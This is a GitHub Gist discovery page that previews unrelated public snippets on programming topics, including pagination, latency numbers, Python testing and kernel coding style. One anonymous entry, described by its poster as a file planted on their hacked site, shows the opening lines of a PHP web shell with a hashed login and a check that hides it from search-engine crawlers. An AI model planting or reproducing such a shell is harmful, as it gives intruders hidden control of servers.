Skip to content

Instantly share code, notes, and snippets.

@mislav
mislav / pagination.md
Created October 12, 2010 17:20
"Pagination 101" by Faruk Ateş

Pagination 101

Article by Faruk Ateş, [originally on KuraFire.net][original] which is currently down

One of the most commonly overlooked and under-refined elements of a website is its pagination controls. In many cases, these are treated as an afterthought. I rarely come across a website that has decent pagination, and it always makes me wonder why so few manage to get it right. After all, I'd say that pagination is pretty easy to get right. Alas, that doesn't seem the case, so after encouragement from Chris Messina on Flickr I decided to write my Pagination 101, hopefully it'll give you some clues as to what makes good pagination.

Before going into analyzing good and bad pagination, I want to explain just what I consider to be pagination: Pagination is any kind of control system that lets the user browse through pages of search results, archives, or any other kind of continued content. Search results are the o

@hellerbarde
hellerbarde / latency.markdown
Created May 31, 2012 13:16 — forked from jboner/latency.txt
Latency numbers every programmer should know

Latency numbers every programmer should know

L1 cache reference ......................... 0.5 ns
Branch mispredict ............................ 5 ns
L2 cache reference ........................... 7 ns
Mutex lock/unlock ........................... 25 ns
Main memory reference ...................... 100 ns             
Compress 1K bytes with Zippy ............. 3,000 ns  =   3 µs
Send 2K bytes over 1 Gbps network ....... 20,000 ns  =  20 µs
SSD random read ........................ 150,000 ns  = 150 µs

Read 1 MB sequentially from memory ..... 250,000 ns = 250 µs

@ashayh
ashayh / crtime.sh
Created January 19, 2013 01:53
Extract ext4 creation (crtime) of file
#!/bin/bash
# Author: ashay dot humane at gmail.com
# Given a file name, this script prints the file creation time,
# as ext4 records it
# Might error out on other filesystems
DEBUGFS="/sbin/debugfs"
[[ -f "$1" ]] || { echo "Invalid filename. Exiting" ; exit 1; }
@zengabor
zengabor / gist:5305917
Last active January 23, 2022 19:16
**Custom prefix for Python unit test methods** (doing BDD in Python and wanted proper prefixes instead of the default 'test' prefix, and pytest had a bug: https://bitbucket.org/hpk42/pytest/issue/284/python_classes-and-python_functions)
import unittest
unittest.TestLoader.testMethodPrefix = 'should'
from unittest import TestCase as Specification
class MyClass(Specification):
def should_do_something():
"""This method with the 'should' prefix will be picked up by test runners"""
anonymous
anonymous / hacker
Created May 15, 2013 22:00
One of my sites was hacked and this is one of the primary files that was inserted into the root.
<?php
$auth_pass = "63a9f0ea7bb98050796b649e85481845";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
@baoilleach
baoilleach / longestpath.py
Created November 24, 2013 17:54
How to find the longest path in a directed acyclic graph
from collections import defaultdict
def toposort(graph):
"""http://code.activestate.com/recipes/578272-topological-sort/
Dependencies are expressed as a dictionary whose keys are items
and whose values are a set of dependent items. Output is a list of
sets in topological order. The first set consists of items with no
dependences, each subsequent set consists of items that depend upon
items in the preceeding sets.
@jvns
jvns / executing-file.md
Last active August 5, 2023 22:24
What happens when I run ./hello
@jvns
jvns / interview-questions.md
Last active July 6, 2024 08:32
A list of questions you could ask while interviewing

A lot of these are outright stolen from Edward O'Campo-Gooding's list of questions. I really like his list.

I'm having some trouble paring this down to a manageable list of questions -- I realistically want to know all of these things before starting to work at a company, but it's a lot to ask all at once. My current game plan is to pick 6 before an interview and ask those.

I'd love comments and suggestions about any of these.

I've found questions like "do you have smart people? Can I learn a lot at your company?" to be basically totally useless -- everybody will say "yeah, definitely!" and it's hard to learn anything from them. So I'm trying to make all of these questions pretty concrete -- if a team doesn't have an issue tracker, they don't have an issue tracker.

I'm also mostly not asking about principles, but the way things are -- not "do you think code review is important?", but "Does all code get reviewed?".

@davidzchen
davidzchen / sample-linux.c
Last active June 16, 2024 09:01
Sample C code using the Linux kernel coding style
/*
* Sample file using the Linux kernel coding convention.
*
* https://www.kernel.org/doc/Documentation/CodingStyle
*
* General rules:
* - Indents are tabs and must be 8 spaces wide.
* - Each line must be at most 80 characters long.
* - Use C-style comments.
* - File names should be lower-case.c
@odyniec
odyniec / test_temp_directory.py
Last active January 30, 2023 11:12
An example Python unittest test case that creates a temporary directory before a test is run and removes it when it's done.
import shutil, tempfile
from os import path
import unittest
class TestExample(unittest.TestCase):
def setUp(self):
# Create a temporary directory
self.test_dir = tempfile.mkdtemp()
def tearDown(self):